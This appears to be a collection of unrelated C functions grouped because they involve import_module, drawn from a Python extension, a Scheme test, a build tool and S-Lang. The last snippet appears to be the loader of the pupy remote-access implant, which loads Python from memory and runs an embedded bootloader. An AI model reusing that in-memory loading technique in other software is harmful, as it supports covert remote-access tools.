static PyObject * cimport_import_module(PyObject *self, PyObject *args) { char *name; PyObject *globals = NULL; PyObject *locals = NULL; PyObject *fromlist = NULL; if (!PyArg_ParseTuple(args, "s|OOO:import_module", &name, &globals, &locals, &fromlist)) return NULL; return import_module(name, globals, locals, fromlist); }
TEST(api_module, global_syx_ref__refer_exported_symbol_of_imported_module__restrictive_2) { ScmObj sym = SCM_OBJ_INIT, syx = SCM_OBJ_INIT, actual = SCM_OBJ_INIT; SCM_REFSTK_INIT_REG(&sym, &syx, &actual); sym = scm_make_symbol_from_cstr("var", SCM_ENC_ASCII); syx = SCM_EOF_OBJ; make_module("imp-a"); make_module("imp-b"); import_module("imp-a", true); make_module("test"); import_module("imp-b", false); find_module("imp-a"); TEST_ASSERT_EQUAL_INT(0, scm_capi_define_global_syx(module, sym, syx, true)); find_module("test"); TEST_ASSERT_EQUAL_INT(0, scm_capi_refer_global_syx(module, sym, SCM_CSETTER_L(actual))); TEST_ASSERT_SCM_NULL(actual); }
static void import_base_rules( module_t * class_, OBJECT * base ) { OBJECT * module_name = class_module_name( base ); module_t * base_module = bindmodule( module_name ); LIST * imported; struct import_base_data d; d.base_name = base; d.base_module = base_module; d.class_module = class_; object_free( module_name ); if ( base_module->rules ) hashenumerate( base_module->rules, import_base_rule, &d ); imported = imported_modules( base_module ); import_module( imported, class_ ); list_free( imported ); }
static void import_module_intrin (void) { char *module; char *ns = NULL; if (SLang_Num_Function_Args == 2) { if (-1 == SLang_pop_slstring (&ns)) return; } if (-1 == SLang_pop_slstring (&module)) { SLang_free_slstring (ns); /* NULL ok */ return; } (void) import_module (module, ns); SLang_free_slstring (module); SLang_free_slstring (ns); /* NULL ok */ }
uint32_t mainThread(int argc, char *argv[], bool so) { int rc = 0; PyObject *m=NULL, *d=NULL, *seq=NULL; PyObject *mod; char * ppath; FILE * f; uintptr_t cookie = 0; PyGILState_STATE restore_state; if(!Py_IsInitialized) { int res=0; if(!_load_python( "libpython2.7.so", resources_python27_so_start, resources_python27_so_size)) { dprint("loading libpython2.7.so from memory failed\n"); return -1; } } dprint("calling PyEval_InitThreads() ...\n"); PyEval_InitThreads(); dprint("PyEval_InitThreads() called\n"); if(!Py_IsInitialized()) { dprint("Py_IsInitialized\n"); Py_IgnoreEnvironmentFlag = 1; Py_NoSiteFlag = 1; /* remove site.py auto import */ dprint("INVOCATION NAME: %s\n", program_invocation_name); Py_SetProgramName(program_invocation_name); dprint("Initializing python.. (%p)\n", Py_Initialize); Py_InitializeEx(0); dprint("SET ARGV\n"); if (argc > 0) { if (so) { if (argc > 2 && !strcmp(argv[1], "--pass-args")) { argv[1] = argv[0]; PySys_SetArgvEx(argc - 1, argv + 1, 0); } else { PySys_SetArgvEx(1, argv, 0); } } else { PySys_SetArgvEx(argc, argv, 0); } } PySys_SetPath("."); #ifndef DEBUG PySys_SetObject("frozen", PyBool_FromLong(1)); #endif dprint("Py_Initialize() complete\n"); } restore_state=PyGILState_Ensure(); init_memimporter(); dprint("init_memimporter()\n"); initpupy(); dprint("initpupy()\n"); #ifdef _PYZLIB_DYNLOAD dprint("load zlib\n"); if (!import_module("initzlib", "zlib", resources_zlib_so_start, resources_zlib_so_size)) { dprint("ZLib load failed.\n"); } #endif /* We execute then in the context of '__main__' */ dprint("starting evaluating python code ...\n"); m = PyImport_AddModule("__main__"); if (m) d = PyModule_GetDict(m); if (d) seq = PyMarshal_ReadObjectFromString( resources_bootloader_pyc_start, resources_bootloader_pyc_size ); if (seq) { Py_ssize_t i, max = PySequence_Length(seq); for (i=0;i<max;i++) { dprint("LOAD SEQUENCE %d\n", i); PyObject *sub = PySequence_GetItem(seq, i); if (seq) { PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d); if (!discard) { dprint("discard\n"); PyErr_Print(); rc = 255; } Py_XDECREF(discard); /* keep going even if we fail */ } Py_XDECREF(sub); } } dprint("complete ...\n"); PyGILState_Release(restore_state); Py_Finalize(); dprint("exit ...\n"); return 0; }